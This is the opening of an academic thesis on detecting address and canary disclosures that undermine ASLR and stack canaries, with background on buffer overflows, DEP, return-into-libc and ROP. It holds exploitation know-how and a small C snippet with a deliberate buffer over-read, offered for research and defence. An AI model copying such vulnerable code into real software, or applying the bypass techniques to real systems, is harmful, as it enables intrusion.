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Software is still being produced and used that is vulnerable to exploitation. As well as being in devices in
the homes of many people around the world, programs with these vulnerabilities are maintaining life-critical
systems such as power-stations, aircraft and medical devices and are managing the creation and distribution
of billions of pounds every year. These systems are actively being exploited by governments, criminals
and opportunists and have led to loss of life and a loss of wealth. This dependence on software that is
vulnerable to exploitation has led to a society with tangible concerns over cyber-crime, cyber-terrorism and
cyber-warfare.
As well as attempts to eliminate these vulnerabilities, techniques have been developed to mitigate their
effects; these prophylactic techniques do not eliminate the vulnerabilities but make them harder to exploit.
As software exploitation is an ever evolving battle between the attackers and the defenders, identifying
methods to bypass these mitigations has become a new battlefield in this struggle and the techniques that
are used to do this require vulnerabilities of their own.
As many of the mitigation techniques are dependent upon secrecy of one form or another, vulnerabilities
which allow an attacker to view those secrets are now of importance to attackers and defenders. Leaking
of the contents of computer memory has always been considered a vulnerability, but until recently it has
not typically been considered a serious one. As this can be used to bypass key mitigation techniques, these
vulnerabilities are now considered critical to preventing whole classes of software exploitation.
This thesis is about detecting these types of leaks and the information they disclose. It discusses the
importance of these disclosures, both currently and in the future. It then introduces the first published
technique to be able to reliably identify specific classes of these leaks, particularly address disclosures and
canary-disclosures.
The technique is tested against a series of applications, across multiple operating systems, using both
artificial examples and software that is critical, commonplace and complex.
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We are living in a connected world; A home-office report (Detica, 2011) estimates that in the UK in 2009,
£47.2 billion was spent online, 294 billion emails were sent and 91% of UK businesses and 73% of UK
households had internet access. The world where computing primarily involved a PC or mainframe is over,
the same report claims over 5 billion SMS messages were sent in the same period from the UK; we also
know there was an average of 1.5 million Android devices activated daily in 2013 (Lee et al., 2014). With
the revolution of the Internet Of Things expected to connect 50–100 billion devices to the internet by 2020
(Trappeniers et al., 2013) the proliferation of connected devices is only likely to increase.
The problem with this growth in our reliance on software, is the cost if sofftware goes wrong. As far
back as 1962 a software issue in the Mariner I rocket, attempting to fly by Venus, caused the destruction
of the rocket, becoming known as the “most expensive hyphen in history” (Copeland, 2010). It is not just
financial costs that can occur; in 1983, according to an article in the Washington post, a software issue was
nearly responsible for starting a nuclear war, when a Soviet early warning system incorrectly signalled that
the United States had launched 5 nuclear missiles against the Soviet Union. It would also be incorrect to
assume that these costly mistakes were limited to the early days of computing. According to the New York
Times, in 2012, a glitch in their trading software cost Knights Capital $440 million in 45 minutes (Popper,
2012) and the deadly crash of a Boeing 777 in 2013 is blamed, at least by some, as being caused by a
software fault (Wold, 2013).
Unfortunately, it is not just accidental software issues that can be a problem. The single worm Conficker,
has managed to infect up to 15 million hosts. It has infected the French navy’s computer network, Royal
Navy warships and submarines and the German unified military; it also infected hospital systems and police
systems (Shin et al., 2012). Conficker even made its way into space (Piètre-Cambacédès et al., 2011).
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The opportunities to abuse this network for profit have not gone un-noticed and cyber-crime is now
a major issue. Whether it costs the reported 2% of the entire worlds GDP at $1 trillion a year, or it is
closer to $110 billion a year (Hyman, 2013), it is clear neither is an insignificant figure. The UK cabinet
office has estimated the cost to the United Kingdom alone as £20 billion a year and increasing (Detica,
2011). Not to be outdone by more general cyber-crime, some fear that terrorists are about to embrace
the cyber-realm (Verton and Brownlow, 2003; Harries and Yellowlees, 2013). As well as terrorists and
criminals, governments also appear to be interested in the nefarious benefits of cyber. Whether you believe
that Stuxnet or Aurora had nations state backing, or that military operations in Georgia and the Ukraine
were proceeded by cyber-attacks, it would not be a controversial statement to say there is clearly nation
state awareness of this issue. At the time of writing this chapter it appears NATO are discussing the
idea that Cyber-attacks on individual nations could warrant a collective military response (Croft, 2014).
The UK government has now classified cyber as one of only four tier one threats, along with “Terrorism,
. . . unconventional attacks using chemical, nuclear or biological weapons, as well as large scale accidents
or natural hazard” (Government, 2010). It is clear that cyber-security is important.
It is tempting when thinking of cyber to immediately think of web-pages, smart-phones and the next
generation of power grids. It is also easy to think that the evolution in programming languages and
development paradigms might mean that new software is inherently cyber-safe and that the current problems
evolve around user training, poor password management, system misconfiguration etc. This is partly the
case, but not completely. Programming issues are still behind much of the current cyber-mess. The CVE
list at Mitre (MITRE, 2008) stores a list of software vulnerabilities in major programs, at the time of writing
this it held 64,090 entries and, according to its bug tracking system, Ubuntu currently has 113,847 open
bugs (Ubuntu, NDb). We are still using and creating vulnerable software.
IntroOf all of the software vulnerabilties, the remote code execution bug may be considered to be the
most dangerous as they allow an attacker to execute their own code on a victims computer. This can take the
form of a computer being compromised by visting a web-site or a phone being taken over by receiving a text
message. The number of these vulnerabilities can be shocking. Taking the 3 month period before the initial
submission of this thesis (the last 3 months of 2014) as an example, the CVE list shows 162 vulnerabilties
identified which would allow arbitrary code execution and have a severity rating of beween 9 and 10 (out
of a scale of 10). Of these vulnerabilties, 5 had a publicly available exploit. These vulnerabilties are not
limited to inexperienced or unimportant vendors, in 2014 the CVE list had 51 arbitrary code execution
vulnerabilties published against Mozilla, 17 against Google and 210 against Microsoft. In an attempt to
mitigate against this torrent of vulnerabilities, different techniques are used on client operating systems to
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attempt to stop a vulnerability being exploited. Probably the most important of these is Address Space
Layout Randomisation and ASLR implementations have improved so much that we may now be at a stage
where bypassing ASLR may be one of the most difficult parts of exploiting software. This is a change that
has been coming slowly. The Microsoft research paper, Nagaraju et al. (2013), is an analysis of the trends
in software vulnerability exploitation in Microsoft software and concentrates specifically on remote-code
execution vulnerabilties from the period between 2006 and 2012. They note that there was a lull in the
number of vulnerabilties that were exploited after the introduction of the first strong exploit mitigations,
which arrived with Windows Vista. Of the 5 key trends identified one was ”Exploits increasingly rely on
techniques that can be used to bypass the Data Execution Prevention (DEP) and Address Space Layout
Randomization (ASLR)”. The importance of address disclosures in bypassing these mitigations is critical
and is explained in detail in the chapter on address disclosures. ASLR in particular is being continuously
strengthened in all major operating systems, but this effort is futile if we do not address the disclosure
problem. We are now at the stage where the existence of an address disclosure could be the difference
between software being remotely exploitable or not.
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1.1 Contribution
The problem this thesis is attempting to solve is: Address disclosures can be used to bypass specific security
mechanisms on many different platforms, yet there is no reliable way to detect them.
The contributions are:
• Highlight the largely unrecognised importance of Memory Disclosures.
• Provide the first methodology to reliably detect address disclosures.
• Demonstrate that this technique can be used to detect other disclosure types.
• Provide frameworks for the community to perform these tests.
1.2 Conventions Adopted
One issue in this type of research is how to handle the non-academic literature. In the field of software
exploitation, literature from other sources, such as industry conferences (Blackhat, DefCon etc) or unofficial
journals such as Phrack, are essential in understanding the field and ignoring these sources would give a
false impression of the topic. This thesis is intended as an academic work and the distinction between
academically peer-reviewed work and the more “grey-literature” is important; these sources can not be held
to the same level of trust as a paper in a trusted, peer reviewed journal, but it is still sometimes necessary
to acknowledge them; at the time of writing, Google scholar — itself a grey source — credits (One, 1996)
from Phrack, with 776 citations. In this thesis, this is handled by referencing this literature in the same way
as academic journals, but to make the context clear in the text; an example of this can be seen on page 20
which states “Using a disclosure as a method of bypassing ASLR has been documented since at least the
Phrack article Durden (2002)”.
Another issue in writing this thesis is how to introduce technical concepts, phrases and words which
some, but not all, readers may be aware of. Important technical concepts are introduced in the thesis as it
develops, particularly Chapter 2 is dedicated to introducing concepts required later in the thesis, but where
explaining some of the required terms may draw away from the clarity of the thesis, then the glossary is
used instead. This has been the case for a large number of terms and was a specific design decision, the
reader is informed that a term is in the glossary the first few times it is used by the specific font used, an
example being the term“Phrack” which is used in the paragraph above.
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1.3 Thesis Outline
The outline of this thesis is shown below:
• Chapter 1 is the introductory chapter and, naturally, introduces this thesis. An introduction to the
background for the thesis is given, before stating the problem and defining the contributions. Any
conventions used in the presentation of this thesis are explained before this outline of the thesis is
shown.
• Chapter 2 introduces the reader to the basics required to understand the rest of this thesis; particularly
it covers the different techniques and measures that compilers and operating systems use to protect
systems from exploitation. Probabilistic based mitigations are introduced here, with particular
attention paid to address space layout randomisation and stack canaries.
• Chapter 3 is a review of the literature on memory disclosures and particularly on address disclosures.
It explains what they are, before covering the literature around them. Any alternatives to their use are
covered followed by any advances which may affect their relevance in the future.
• Chapter 4 covers the literature on other testing techniques which could be similar to this one, or which
solve a similar problem to the one presented here.
• Chapter 5 introduces the DEBT methodology behind this thesis. The basic principles behind the
concept are explained before a workflow of the methodology is presented. Some discussion is entered
regarding the practicalities of the methodology before the novelty behind it and any strengths or
weaknesses are covered.
• Chapter 6 details the experiments used to test this thesis. It is presented in a manner where similar
experiments are grouped into sets to avoid repetition. The methodology behind all of the experiments
is presented and then each experiment is presented in this format, covering the requirements, the
experiment design, execution details and results.
• Chapter 7 is the final core chapter; it starts with an analysis of the experiments and results, before
giving more personal reflections on the application of the methodology. The thesis is finalised
by covering the contributions and suggesting future work that may be possible, before a short
conclusions section.
• The Appendices contain information which, if presented at the time of introducing it, may have been
a distraction to the reader. This particularly covers program code and the methodology behind the




This is the introductory chapter and part of its purpose is to lay out the structure of the rest of the thesis
and the conventions used. This chapter also introduces the impact that software vulnerabilties can have and
attempts to introduce the impact that address disclosures have; this is difficult to do, as there is no quantified
data regarding this issue. This is partly because vulnerabilties are not classified in a way that can identify
this particular issue, partly because address disclosures have not necessarily been an issue in the past where
the affect is now becoming much greater than before and partly because it is hard to estimate real world
impact from a field which is notorious for not reporting the commercial realities behind of software issues.
This is not necessarily an issue as long as it is a convincing argument that this vulnerability has significant
impact and is that it is worth spending resources in attempting to identify them; hopefully this should have




Prophylactic Measures: Attacks and Defences
2.1 Introduction
There is an entire industry based around preventing vulnerabilities from being produced in software, yet
we are still in a position where software vulnerabilities in major packages are identified on a daily basis.
One method to reduce the number of vulnerabilities is to use type-safe languages. Languages such as C#,
Java and Python remove from the developer the requirement to manage memory and with this removes the
possibility that they introduce one of the many memory handling based vulnerabilities inherent in non-safe
languages such as C and C++. This may resolve the issue for the particular class of software which can
be implemented in these languages, but it is not always possible. For legacy software, embedded systems,
operating systems and for applications where speed or resource consumption are of critical importance,
unsafe languages are still chosen and their use is unlikely to disappear. This chapter and this thesis are
regarding the issues found in unsafe languages.
One approach to protecting systems from exploitation is in the use of compiler and operating system
prophylactic measures. These are technologies which are not designed to prevent issues such as buffer
overflows, but rather to make their exploitation harder. In this chapter the major prophylactic techniques
used on different operating systems are reviewed and the corresponding evolution of attack techniques is
touched upon. This is not intended as an exhaustive review of this topic, but as an introduction to the field,
so that the concepts introduced later in the thesis can be better understood.
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2.2 Exploiting Software
There are many different classes of vulnerabilities that can be exploited in software written in languages
such as C and C++. The classic Phrack article “Smashing the stack for fun and profit” (One, 1996) is
amongst many peoples first introduction to the subject of exploiting software and the classic buffer overflow
is still one of the most widely known exploitation vulnerabilities. Despite this there are still many other
vulnerabilities that can be exploited; Phrack alone has articles on heap-overflows (Kaempf, 2001), double-
frees (Anonymous, 2001), integer overflows (Horovitz, 2002) and format string exploits (Planet, 2010;
Gera, 2002).
There are many different exploit techniques and counter-measures that could be discussed here,
structured exception handling has been exploited with techniques such as shown in Kimball and Perugin
(2012) and protective measures have been developed to help prevent these, including SEH chain validation
and handler validation (XU et al., 2009); similarly there are heap specific attacks and corresponding
counter-measures such as safe unlinking and meta-data encryption (Novark and Berger, 2010; Younan et al.,
2006). In this chapter, only the techniques which are most relevant to this thesis are covered; this happens
to correspond to the most widely deployed measures.
If the reader is interested in a more detailed introduction to the basics of software exploitation, the books
Anley et al. (2011) and Erickson (2008) are excellent introductions to this field.
2.3 Exploitation Basics
This thesis is not intended as a tutorial on exploiting software, but it is not possible to understand these
countermeasures unless the basics of exploitation are covered. There are many different methods of
exploiting unsafe languages, but most involve manipulating the program into executing code that was not
intended by the author. It has already been mentioned that there are many different vulnerabilities which
can potentially be exploited, the Common Weakness Enumeration is a list of these vulnerabilities produced
by the Mitre Corporation (MITRE, 2009) of which, at the time of writing, 76 were weaknesses in software
written in the C language. If a vulnerability is found, there are many different techniques for exploiting that
vulnerability, depending upon the nature of that weakness, but one of the most common is controlling, or
overwriting an element on the stack.
8
The stack is a data structure, commonly used in computer science, that stores information in a first-in-
last-out format. The call stack is a stack used by programs to store information about the execution of that
program. As well as other information, programs use the call stack to hold the values of local variables
and to store the addresses of different areas of program code. When a program calls a sub-routine, it will
typically use the call stack to store the address of the code that should be executed after that subroutine has
finished. If this is corrupted it is possible to alter the execution of a program and so the call stack is a key
target for attackers. There are many different ways of corrupting the stack of which the buffer overflow
is the most well known, but it is also possible using some of the techniques mentioned earlier, including
double-frees, use-after-frees, format-string exploits amongst others.
When a sub-function is called within a C program, a strict procedure is followed to store information
on the stack∗. Each function uses a separate, but contiguous, block of memory called a stack frame,
which holds all of the information required for that function. When a function creates a stack frame it
allocates space for all of the local variables for that particular function; it also stores the address where
program execution should continue when it has finished that sub-function (this should return it to the
calling function). The call stack is typically implemented in a top-down fashion so that the first entry is
at the highest address the stack can use and subsequent entries are stored at increasingly lower addresses.
If a program has 2 functions, one of which calls the other, a simplified stack would look like the one in
table 2.1 and it can be seen that the local variables for a function are stored further down the stack than the
returning call address. In this example, Variable A in function 1 is allocated 20 bytes of space. A buffer
overflow is a vulnerability where a larger amount of memory is copied to a variable than was allocated to
it, in this example if 24 characters are copied into variable A, it would also over-write the return address to
the calling function, allowing an attacker to take control of the program’s execution.
Buffer overflows and controlling the stack are topics which are too complex to cover here, but a more
detailed understanding of exploiting the call stack can be gained by reading most of the books mentioned
earlier but Erickson (2008) is particularly recommended and the seminar presentation Müller (2008) is an
excellent summary of more advanced techniques.
∗This is the CDECL convention. There are others but this is the most popular.
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Address Stack entry
X Parameter used in function 1
X-4 Return address (To calling function)
X-24 Local variable A for function 1
X-25 Local variable B for function 1
. . . Parameter used in function 2
. . . Parameter used in function 2
. . . Return address for function 2 (address in function 1)
. . . Local variable A for function 2
. . . Local variable B for function 2
Table 2.1. Simplified sample call stack for a program. If a variable larger than 20 bytes is copied into function 1 variable A it will
overwrite the return address in X-4
2.4 Stack Canaries
One of the earliest prophylactic measures against buffer overflows was the use of stack canaries. Stack
canaries, sometimes called cookies, are values which are placed on the stack after any local variables, but
before the function return address. The epilogue of the function can check if this value has been overwritten
and, if so, abort.
There are different ways stack canaries can, and have been implemented. StackGuard (Cowan et al.,
1998) was one of the earliest implementations but ProPolice (Etoh and Yoda, 2001) appears to be the
dominant implementation for Linux/Unix (Philippaerts et al., 2011) and it is the implementation used for
building Android (Bojinov et al., 2011). Although it is possible to use a termination character (CR, LF,
NULL, and -1) as the canary, it is typical to use a random character, in order to prevent the canary from
being written with the exploit. This makes it improbable that an attacker would be able to guess the value
of the canary before the attack.
The implementation of stack canaries can be done in a selective way, to minimise their performance
impact. Options such as Visual Studio’s “#pragma strict gs check” compiler flag or the “-fstack-protector-
strong” flag for GCC alter when stack canaries are applied, such as for functions which use strings or
allocate space on the stack; this minimises the performance impact on the overall program.
The way canaries are implemented in GCC on Linux, can be seen in table 2.2. This shows the values
placed on the stack and how these are different for each iteration. To create this, a program was written †
which displays the contents of the stack for a simple sub-routine. By turning ASLR off and comparing the
results of 4 separate runs it is possible to see the different stack canaries added on each run. These are
shown as highlighted in table 2.2.
†The program from experiment 6 was used, which is shown in Appendices C as program C.2
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Run 1 Run 2 Run 3 Run 4
0xbffff7e7 = 0 0xbffff7e7 = 0 0xbffff7e7 = 0 0xbffff7e7 = 0
0xbffff7e6 = 0 0xbffff7e6 = 0 0xbffff7e6 = 0 0xbffff7e6 = 0
0xbffff7e5 = 0 0xbffff7e5 = 0 0xbffff7e5 = 0 0xbffff7e5 = 0
0xbffff7e4 = 0 0xbffff7e4 = 0 0xbffff7e4 = 0 0xbffff7e4 = 0
0xbffff7e3 = 8 0xbffff7e3 = 8 0xbffff7e3 = 8 0xbffff7e3 = 8
0xbffff7e2 = 4 0xbffff7e2 = 4 0xbffff7e2 = 4 0xbffff7e2 = 4
0xbffff7e1 = 85 0xbffff7e1 = 85 0xbffff7e1 = 85 0xbffff7e1 = 85
0xbffff7e0 = f0 0xbffff7e0 = f0 0xbffff7e0 = f0 0xbffff7e0 = f0
0xbffff7df = e6 0xbffff7df = f3 0xbffff7df = 55 0xbffff7df = b2
0xbffff7de = 75 0xbffff7de = f2 0xbffff7de = aa 0xbffff7de = 62
0xbffff7dd = b5 0xbffff7dd = 3d 0xbffff7dd = b7 0xbffff7dd = ff
0xbffff7dc = 0 0xbffff7dc = 0 0xbffff7dc = 0 0xbffff7dc = 0
0xbffff7db = 8 0xbffff7db = 8 0xbffff7db = 8 0xbffff7db = 8
0xbffff7da = 4 0xbffff7da = 4 0xbffff7da = 4 0xbffff7da = 4
0xbffff7d9 = 85 0xbffff7d9 = 85 0xbffff7d9 = 85 0xbffff7d9 = 85
0xbffff7d8 = fb 0xbffff7d8 = fb 0xbffff7d8 = fb 0xbffff7d8 = fb
0xbffff7d7 = 0 0xbffff7d7 = 0 0xbffff7d7 = 0 0xbffff7d7 = 0
Table 2.2. The contents of the stack whilst running a simple C program. ASLR is turned off so the only entries to change are due to
the stack canaries, which are highlighted.
The Blackhat papers Litchfield (2003) and Sotirov and Dowd (2008) have more information on the
implementation of stack canaries on Windows and on methods to bypass these and information is also
available in Gordonov et al. (2014) on the implementation and cost of stack canaries.
2.5 Data Execution Prevention
A common method of delivering the exploit for a program to execute, is to pass it as an input to the program;
if the attacker can redirect the program to execute the contents of a variable as executable code, then the
exploit should run. To prevent this, a set of related technologies has been employed to ensure that, even if
the redirection was to happen, the data would be not be executed as code.
Data Execution Prevention (DEP), sometimes referred to as W⊕X (Write Xor Execute), is a technique
which allows pages in memory to be marked as either writeable by a process or executable but not both.
When a program is loaded, the executable code is placed in memory pages which are marked as executable
but not writeable, but the stack and heap are stored in pages marked as writeable but not executable.
This ensures that an attacker can not execute any code that has been uploaded into the program. This
is now typically implemented using the NX (No eXecute) bit on modern CPUs, but partial variants on
this were originally implemented in software. Hardware support for this feature is called “XD: Execute
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EH FRAME 0x08051348 r–
STACK 0x00000000 rw-
RELRO 0x08053f04 r–
Table 2.3. The page address and flags for the program “cat” taken using Ubuntu with kernel 3.2.0-29, the different execute, read and
write flags can clearly be seen.
Disable” on Intel processors, “Enhanced Virus Protection” on AMD processors and “XN: Execute Never”
on Arm (Marpaung et al., 2012).
These markings can be viewed on a Linux system by looking at the object-file headers (“objdump -x”),
and a summary is shown in table 2.3. It can be seen that pages are marked as either readable and executable
or as readable and writeable, but no page is marked as both; in addition the stack frame is not executable.
Although this appears to be an excellent solution to the problem of executing user supplied code, it has
the disadvantage that some applications need to execute user supplied code, this is particularly the case
with programs such as Web-browsers which require Just-In-Time compilation; More information on this
and how it can be exploited is available in (De Groef et al., 2010).
2.6 Address Space Layout Randomisation
When exploiting a program, it is essential to know where the exploit code will be held, or where any state to
be corrupted is located. This is especially true as exploits will often have to contain hard-coded addresses,
or contain a specific amount of spacing, which is not possible if the amount of spacing or the value of
the address is not known beforehand. If this is different for every execution of a program, it makes it
considerably harder, if not impossible, to exploit. This is the purpose behind address space randomisation
— the randomisation of the location in memory that code or state is stored in. Although there are early
papers on varieties of address randomisation as a memory prophylactic measure (Chew and Song, 2002;
Forrest et al., 1997; Bhatkar et al., 2003), the first major implementation was the PAX project (Team, 2003)
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Area ASLR HEAP Stack
Address 1 OFF 0060c000 7ffffffde000
Address 2 OFF 0060c000 7ffffffde000
Address 3 OFF 0060c000 7ffffffde000
Address 4 ON 00918000 7fff273cc000
Address 5 ON 0259f000 7fffb10ff000
Address 6 ON 02223000 7fff673e5000
Table 2.4. The address in memory occupied by different sections of the program “cat” with ASLR either on or off. Created using
Ubuntu with kernel 3.2.0-29, the different starting Heap and Stack address spaces can be clearly seen.
for Linux and it has since been implemented in all major operating systems.
In order for Address Space Layout Randomisation (referred to from now on as ASLR) to work, the
program still needs to be able to execute successfully, which means there must be a method for the program
to identify the location of the code to execute. For all applications on Linux, when ASLR is fully enabled,
the base address of the stack, the base address of the heap and the base address of all external libraries
are randomised. In order for the base addresses for the main application to be randomised, rather than
just the addresses of library calls, the executable must be built in a method that allows for this; for Unix
variants this is referred to as a Position Independent Executable (PIE) and on Windows is created using the
DYNAMICBASE compiler option.
The effect of ASLR can be seen in table 2.4. This holds the address of the stack and the heaps for 6
consecutive runs of the unix program “cat”.
Where ASLR is turned off, both the stack and heap start at the same address for every run; when ASLR is
turned on, for each run the different program blocks start in non-predictable locations (It is not just heap
and stack spaces that are randomised, but these are the most relevant for our purposes). It should be noted
that there is typically no relationship between the different starting addresses. Memory within these blocks
is still contiguous, so the 30th address from the address base will still contain the same information on both
runs, but will be positioned at a different address. This means that if a location can be found for any known
part of the stack, or heap, then the address of any other area can be generated using an offset calculated
previously.
A form of ASLR is implemented in all of the major operating systems, but the degree to which it is
implemented differs according to exactly which version of the operating system is being discussed.
Mitigations such as ASLR and DEP are not designed to be implemented on their own, it is the
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combination of mitigations together that is the most effective. As the Blackhat presenter F Serna (Serna,
2012) puts it — “Most other mitigations techniques depend on the operation of ASLR. Without it and based
on previous research from the security industry: DEP can be defeated with return-to-libc or ROP gadget
chaining, SEHOP can be defeated constructing a valid chain, . . . Put simply, if you defeat ASLR, we are
going to party like if it is 1999”.
The first published technique to reliably identify address disclosures, which can be used to defeat ASLR,
is a key contribution of this thesis.
2.7 Code Re-Use Attacks
DEP has made it difficult for an attacker to supply the code to be executed. This has forced attackers to
use an alternative method, in particular code re-use attacks (sometimes referred to as arc attacks (Pincus
and Baker, 2004)). Using this technique, rather than deliver code to be executed, the exploit is made up
of re-using parts of the current application. As these are executable pieces of the existing application they
will be marked as executable, meaning that an exploit can successfully call them. The first of these types of
attacks was the Return-into-libc attack.
Credit for the return-into-libc attack is often given to an entry on the BugTraq mailing list (Designer,
1997), although this mentions that this topic was previously discussed in the Linux mailing list. The idea
behind these attacks is that, rather than execute code that has been introduced to the application, it is possible
to re-use code that already exists in the system. As the standard C library (libc) is almost always available,
at least in Linux programs where this originated, and has potentially dangerous functions, then this is an
obvious target.
To work this technique still requires a method of overwriting values on the stack. In a more traditional
stack smashing attack the return address of the function would be replaced with the address of the executable
code to be run. In this attack, the address placed on the stack is the position of the particular libc library
which is required. This has the additional benefit that any following values on the stack which are also
re-written, will be interpreted as parameters to this function call; a common example for this is to call the
system() function with the argument to open a shell command.
This technique has the ability to bypass the issues created by non-executable memory but has the
limitation that only a single function can typically by called. It is also restricted to whatever functions
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can be found in the libc library. The ability to call multiple sequences together was introduced, for the
x86 only, in the BugTraq mailing list (Newsham, 2000), however this is limited to 32-byte versions of
the operating system. The BugTraq entries are mostly just code samples, and are not easy to follow, but
the Phrack article Nergal (2001) provides a more detailed overview, as well as details on more advanced
techniques. More academic overviews include Pincus and Baker (2004); Roglia et al. (2009) and Tran et al.
(2011).
2.7.1 Return-Oriented Programming
The first paper to introduce the term return-oriented programming is Shacham (2007). Using this technique
short sequences of code, often only two or three bytes long, are chained together to create an exploit. These
sequences are often called gadgets and the technique works by a combination of controlling the stack and
identifying gadgets that end in the opcode RETN, or at least a value which would be interpreted as RETN.
RETN is an instruction which reads the next entry on the stack and then jumps to that address.
By controlling the code that gets executed, it is possible to write a program using existing code blocks,
assuming that all of the code blocks needed are available. As long as an attacker can control the stack, it
can be used to control which code gets executed.
Figure 2.1 represents both a program stack and program code split into blocks. These blocks are defined
as code sequences which end in a RETN instruction; this moves execution to the address pointed to by the
next entry on the stack, moving the stack pointer as well. As the stack grows downwards rather than
upwards, and assuming that the Address 1 represents the bottom of the stack, then an attacker can execute
an arbitrary program by populating the stack as required and by altering program execution so that the next
entry on the stack is executed. This is the same as for many attacks, including traditional smashing the stack
attacks, it only differs by the data that the stack is populated with.
By executing the code pointed to by Address 1 (Code Block 9) certain operations are performed
followed by a RETN. This then moves execution to the code pointed to by the next entry in the stack which
is Address 2, which executes Code Block 7 before executing the next address. As long as each gadget
finishes with a RETN, control of the stack leads to complete control of the order gadgets get executed; in
the case of the diagram executing blocks, 9,7,4,7 and 5.

















Fig. 2.1. Diagram showing how contiguous addresses on the stack can direct program execution to different pieces of code.
has intentionally created that is available. Shacham (2007) demonstrates that, because the x86 instructions
set does not define fixed width instruction sizes, it is possible to find gadgets that were not intended by the
compiler. It also demonstrates that this can be used to create a Turing complete language.
An example from Ding et al. (2012) may help to demonstrate this; this uses the x86 architecture
sequence “83 e0 03 09 c3” as an intentional sequence generated by a compiler. This is shown in table 2.5.
Sequence Op-Codes Explanation
83 e0 03 andl $0x3, %eax Perform bitwise logical AND
with EAX and the value 3
09 c3 orl %eax, %ebx Perform a bitwise logical OR
with EAX and EBX
Table 2.5. Table showing how opcodes are interpreted in an intentionally generated code sequence
If the attack sequence jumps directly into this code at the 3rd byte rather than the first it reads completely
differently, as shown in table 2.6
This effect is due to the language density of the x86 instruction set and it enables far more gadgets than
would otherwise be available. The code C3, which on its own signifies a RETN, at the end makes this a
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Sequence Op-Codes Explanation
03 09 addl (%ecx), %ecx Add ECX to contents pointed to
by ECX.
c3 return Complete this gadget and return
to next entry on the stack.
Table 2.6. Table showing how opcodes are interpreted in an un-intentionally generated code sequence
re-usable code-sequence as this can then be chained with other sequences, even though there was no RET
instruction in the original code. Even using only 2-3 byte length gadgets it is still possible to have a fully
Turing complete language (Homescu et al., 2012).
Return Oriented programming is an effective technique that has become the standard way of exploiting
software. It not limited to x86 architecture, but has been used on many different architectures and platforms.
Buchanan et al. (2008) demonstrate that it can be used on fixed width instruction set processors and RISC
processors (They demonstrate this on a SPARC), and more advanced variants of the attack have been
developed for the ARM processor (Davi et al., 2010). The Blackhat presentation Miller and Iozzo (2009)
exploits an IPhone using a return-to-libc attack and Checkoway et al. (2009) exploit an electronic voting
machine using a ROP attack. The range of attacks is also varied, Ding et al. (2012) use this technique to
alter the permission on a Xen hypervisor to allow access to the virtual machine and Hund et al. (2009) use
this for creating Kernel rootkits.
Code re-use attacks have not just been embraced by academia, but also by industry (Roemer et al., 2012);
there are real world attacks and ROP defences are started to be seen in commercial operating systems such
as Microsoft Windows. The current state of ROP defences and attacks is covered more in chapter 3.
Sum:MemProt
2.8 Conclusions
Sum:MemProt2 The intention behind this chapter, was to introduce to the reader the necessary knowledge
to understand the rest of this thesis. It was not intended as a complete summary of attacks or mitigations,
but if the reader is interested in this then suggested papers include Erlingsson et al. (2010); Van der Veen
et al. (2012); Agten et al. (2012) and Younan et al. (2012).
It is clear that significant investment is made in both creating methods of mitigating against
vulnerabilities and of bypassing those methods. This is a fast moving field, particularly on the bypass
side and it is not academically led which makes it significantly harder to track the state-of-the-art. However
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the information presented here should still be up-to date and relevant and is necessary for understanding the
rest of this thesis.”
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Chapter 3
The Importance of Memory Disclosures
3.1 Introduction
In this chapter the concept of memory disclosures is introduced and the different types of disclosures are
covered; their importance is examined and the literature around them is discussed. It can be important that
a review of the literature be thorough and reproducible; as such a strict methodology was followed in the
creation of this chapter and the methodology used is detailed in appendices E.
3.2 What is a Memory Disclosure
The humble info leak, has always been considered as a vulnerability in software (Halkidis et al., 2006;
Hansman and Hunt, 2005) but, except in circumstances where the information leaked is of particular
importance, has always been considered to be a relatively low grade vulnerability. There is a sub-field
of information leakage called the memory disclosure, however this term is not well defined. For this thesis
it is defined as “a release of the contents of memory locations or information derived from that content”.
The importance of memory disclosures has been known for a while, but with newer protections put into
modern operating systems, the contents of memory can be both more important than before and harder to
obtain. As the current state of software exploitation has evolved, the importance of memory disclosures has
increased.
The contents of memory is, of course, available anywhere within a program. The important
consideration is how this could be abused by an attacker. The disclosure must be a disclosure to a program,
or process that can be controlled by a user. It is not a memory disclosure if a program simply reads its
own data, but only where this information is passed to a potential user in some manner. This may be by
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outputting this information to the screen, or through a scripting interface, or even to an external document.
When the literature refers to memory disclosures, it typically refers to the leakage of the contents of
memory. The amount of memory that is leaked is author or context dependant. A memory disclosure may
be used to indicate a bug, which reveals the same piece of memory every time; other authors use this to
refer to a problem in a program which allows an aggressor to view different areas of memory, an example is
Snow et al. (2013). Either may be critical depending on the circumstances and the contents of the memory
that is disclosed. When referring to a disclosure that contains information regarding an address in memory,
the term memory address disclosure will be used in this thesis, in common with Shioji et al. (2012).
3.3 Why are they important
As well as understanding what a disclosure is, it is important to understand why they are important. This
is a combination of the data that is leaked and the exploitation mechanisms that enables. This is presented
here in two main sub-groups.
3.3.1 Important information leakage
It is obvious that some information stored in memory could be of use to an attacker without any technical
exploitation techniques being required. Secret keys, passwords, user details and bank account details are
all examples of information that may be retrieved from memory. The prevention of the release of this
information is an important field for research. As an example, Harrison and Xu (2007) advocates limiting
the areas of memory that cryptographic keys are stored to limit the impacts of memory disclosures. This
thesis does not cover this type of disclosure, which is a more contextual problem than the address disclosure
one.
3.3.2 Bypassing probabilistic mitigations
In the previous chapter, the probabilistic based diversity mitigations of stack canaries and ASLR were
introduced. Using a disclosure as a method of bypassing ASLR has been documented since at least the
Phrack article Durden (2002). Crit:OverRead In the academic literature Bhatkar et al. (2003) discuss
disclosures in general as a weakness of ASLR and an early example of a paper on bypassing ASLR using
address disclosures is Strackx et al. (2009) which focuses on using buffer over-reads as a disclosure method.
Buffer over-reads are a specific vulnerability where more data is read from a buffer than was allocated to
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it, and so the final part of the read contains data unintentionally left in the buffer. Probably the simplest
possible example of a buffer over-read is the code shown below.
char string[5]="12345";
printf("The string is %s", string);
This code does not have a NULL terminator at the end of string and so the printf statement will keep
printing until it reaches a NULL character, displaying whatever data is stored in memory after string. In
this case string is stored on the stack and so the snippet will show whatever was stored on the stack prior
to this variable, which, given the right context, could contain an address. The authors give an example
of data which is sent over a socket where the data printed will contain the stack cookie, frame-pointer
and stack-pointer, which can then be used to bypass both stack cookies and ASLR. There are limitations
in this method, particularly that it can only show the data immediately after the buffer and will often
terminate on reading a NULL. (When run in a simple program, the code snippet above only showed a
single character of over-read), but there are circumstances where this could be effective and, probably
more importantly, it highlights the importance of disclosures in general to an academic audience; the issue
was brought to the attention of a wider audience with the Blackhat presentation “The info leak era on
software exploitation” (Serna, 2012), which covers a specific disclosure in Adobe Flash and emphasised
the importance of disclosures in the context of ever hardening ASLR implementations.
